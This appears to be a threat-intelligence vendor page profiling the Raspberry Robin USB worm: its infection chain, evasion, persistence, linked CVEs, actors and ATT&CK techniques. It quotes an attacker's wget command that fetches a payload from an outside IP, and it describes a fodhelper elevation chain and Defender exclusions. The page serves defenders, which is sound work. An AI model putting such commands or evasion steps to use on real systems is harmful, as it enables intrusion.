Loading malware…
Raspberry Robin is a Windows worm and malware delivery platform active since at least 2021 and widely associated with USB-borne initial access. It commonly spreads through infected removable media that present a malicious shortcut masquerading as a legitimate folder. Execution of the shortcut launches built-in Windows utilities such as cmd.exe and msiexec.exe to retrieve and run additional components, and variants have also used highly obfuscated Windows Script Files for initial execution. Raspberry Robin has been repeatedly linked to follow-on compromise activity and is frequently assessed as an initial access enabler for ransomware operations and other downstream payloads.
The malware is notable for its use of living-off-the-land binaries and DLL-based execution chains. Observed activity includes retrieval of second-stage payloads over HTTP, installation of malicious DLLs, and execution through signed Windows binaries such as rundll32.exe, regsvr32.exe, odbcconf.exe, and fodhelper.exe. Multiple reports also associate Raspberry Robin with DLL sideloading or unsigned DLL loading from random application-data locations, as well as scheduled-task-based persistence. It performs environment checks to determine whether it is running with elevated privileges and has used anti-analysis and anti-emulation techniques, including virtualization-aware staging in which fake or decoy payloads are used unless the host appears genuine.
Raspberry Robin includes defense-evasion behavior. Documented variants can add broad Microsoft Defender exclusions to reduce scanning coverage, and the malware has shown extensive command-line obfuscation and mixed-case syntax intended to complicate detection. It also gathers basic victim context, including account or session information, and transmits victim information in outbound requests used to obtain later-stage payloads.
The malware has been observed as part of broader criminal ecosystems rather than as a self-contained end-stage payload. Existing Raspberry Robin infections have been used to deliver other malware families, and the operation has been discussed in connection with pre-ransomware intrusion activity. Enterprise environments that permit removable media usage, especially those with legacy operational workflows, are at particular risk because USB-based propagation remains a durable infection vector.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
"Raspberry Robin has added a new local privilege escalation (LPE) exploit (CVE-2024-38196) to gain elevated privileges on targeted systems."
5 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
On July 26, 2022, Microsoft researchers discovered the FakeUpdates malware being delivered via existing Raspberry Robin infections. Raspberry Robin is a USB-based worm first publicly discussed by Red Canary.
"SocGholish has previously been seen delivering Raspberry Robin..."
Raspberry Robin: A complex worm, initially spread via “Bad USB” attacks, which Microsoft observed pushing the SocGholish on-device agent.
Raspberry Robin: A complex worm, initially spread via “Bad USB” attacks, which Microsoft observed pushing the SocGholish on-device agent.
Researchers Uncover ~200 Unique C2 Domains Linked to Raspberry Robin Access Broker
25 distinct techniques documented for this family, organized by ATT&CK tactic.
The content repeatedly describes threat actors and malware using WMI/WMIC/wmiexec for remote execution, lateral movement, discovery, persistence, and administrative actions; e.g., 'APT41 used WMI in several ways, including for execution of commands via WMIEXEC as well as for persistence via PowerSploit' and 'Scattered Spider used Windows Management Instrumentation (WMI) to move laterally via Impacket.'
APT19 downloaded and launched code within a SCT file; APT32 used COM scriptlets to download Cobalt Strike beacons; APT37 used Ruby scripts to execute payloads; ArcaneDoor included the adversary executing command line interface (CLI) commands.
The content repeatedly describes use of cmd.exe, cmd /c, Windows command shell, and xp_cmdshell to execute commands, run payloads, launch binaries, perform reconnaissance, persistence, cleanup, and ransomware actions. Examples include: 'Sandworm Team used the xp_cmdshell command in MS-SQL', 'APT41 used cmd.exe /c to execute commands on remote machines', and many malware families 'can use cmd.exe to execute commands on a compromised host.'
Raspberry Robin variants can be delivered via highly obfuscated Windows Script Files (WSF) for initial execution.
LNK files are currently immensely popular among threat actors for malware deployment and persistence... threat actors conveniently build malicious LNK files with Windows system capabilities or tools specifically designed for that purpose, and then distribute the files to victims, usually through phishing emails.
Across the content, malware repeatedly 'adds Registry Run keys', 'creates Registry entries', 'modifies the Windows Registry', or 'overwrites registry keys' to maintain persistence.
The content repeatedly describes malware and threat actors establishing persistence by adding values under HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run or RunOnce, and by placing executables, scripts, .lnk files, or .bat files in the Windows Startup folder. | AppleSeed has the ability to create the Registry key name EstsoftAutoUpdate at HKCU\Software\Microsoft/Windows\CurrentVersion\RunOnce to establish persistence. AvosLocker has been executed via the RunOnce Registry key to run itself on safe mode. Raspberry Robin will use a Registry key to achieve persistence through reboot, setting a RunOnce key...
The content repeatedly describes malware and threat actors establishing persistence by adding values under HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run or RunOnce, and by placing executables, scripts, .lnk files, or .bat files in the Windows Startup folder. | AppleSeed has the ability to create the Registry key name EstsoftAutoUpdate at HKCU\Software\Microsoft/Windows\CurrentVersion\RunOnce to establish persistence. AvosLocker has been executed via the RunOnce Registry key to run itself on safe mode. Raspberry Robin will use a Registry key to achieve persistence through reboot, setting a RunOnce key...
The content contains many examples of base64, XOR, RC4, AES, Rijndael, custom ciphers, rolling XOR, and multi-layer obfuscation used to hide payloads, strings, scripts, and C2 data.
The Raspberry Robin worm often appears as a shortcut .lnk file masquerading as a legitimate folder on the infected USB device.
The content repeatedly describes threat actors and malware deleting files, tools, scripts, logs, droppers, staged data, and artifacts from compromised systems to cover tracks, remove evidence, or self-delete.
The content repeatedly describes malware and threat actors decoding, decrypting, deobfuscating, or unpacking payloads, strings, configuration data, commands, and C2 responses prior to execution or use.
Next, msiexec.exe launches a legitimate Windows utility, fodhelper.exe , which in turn spawns rundll32.exe to execute a malicious command. Processes launched by fodhelper.exe run with elevated administrative privileges without requiring a User Account Control prompt.
While msiexec.exe downloads and executes legitimate installer packages, adversaries also leverage it to deliver malware. Raspberry Robin uses msiexec.exe to attempt external network communication to a malicious domain for C2 purposes.
fodhelper.exe , which in turn spawns rundll32.exe to execute a malicious command.
it performs various anti-emulator checks by trying to load nonexistent dynamic link libraries (DLLs) such as k7rn7l32.dll and ntd3ll.dll... If either the nonexistent or the emulator-only imports are successfully resolved, the loader concludes that it is running in an emulated environment and will not perform malicious activities.
Several entries describe malware examining running processes to determine if a debugger, sandbox, virtual environment, or analysis/security tools are present, such as AsyncRAT checking for a debugger, RogueRobin enumerating Wireshark and Sysinternals processes, and P8RAT checking for processes associated with virtual environments.
The content repeatedly describes malware and threat actors collecting usernames, identifying logged-in users, running whoami/query user/quser, checking whether the current user is an administrator, enumerating user sessions, and gathering account details from compromised hosts.
The content repeatedly describes malware and threat actors obtaining lists of running processes, using utilities such as tasklist, ps, WMI, Get-Process, CreateToolhelp32Snapshot, EnumProcesses, and similar APIs/commands to enumerate active processes on victim systems.
The content notes checks for whether the current user is an administrator or privileged, including 'AsyncRAT can check if the current user of a compromised system is an administrator,' 'Gelsemium has the ability to distinguish between a standard user and an administrator,' and 'Wizard Spider has used whoami to identify the local user and their privileges.'
The content repeatedly describes malware and threat actors collecting host details such as OS version, hostname, architecture, CPU, memory, BIOS, domain, language, and other configuration data; e.g., "APT41 uses multiple built-in commands such as systeminfo and net config Workstation to enumerate victim system basic configuration information."
it performs various anti-emulator checks by trying to load nonexistent dynamic link libraries (DLLs) such as k7rn7l32.dll and ntd3ll.dll... If either the nonexistent or the emulator-only imports are successfully resolved, the loader concludes that it is running in an emulated environment and will not perform malicious activities.
Several entries describe malware examining running processes to determine if a debugger, sandbox, virtual environment, or analysis/security tools are present, such as AsyncRAT checking for a debugger, RogueRobin enumerating Wireshark and Sysinternals processes, and P8RAT checking for processes associated with virtual environments.
The content repeatedly describes threat actors, malware, and campaigns using HTTP and/or HTTPS for command and control, including examples such as BlackEnergy communicating with C2 over HTTP POST requests and many other families using HTTP/S for C2.
Examples include: "APT41 used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits," "During C0017, APT41 ran wget http://103.224.80[.]44:8080/kernel to download malicious payloads," and multiple malware families "use HTTP GET requests" or similar to download files/payloads.
1 indicator attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
64 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A malware family spread through infected removable media such as USB drives and often used to provide initial access for ransomware operators.
Named in the article as one of the malware families associated with SocGholish follow-on activity.
Worm deployed through malicious LNK files, specifically via infected USB media.
A long-running malware operation associated with USB-based propagation and infrastructure designed to resist tracking/takedown (domain patterns, uncommon TLDs, and fast-flux behavior).
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.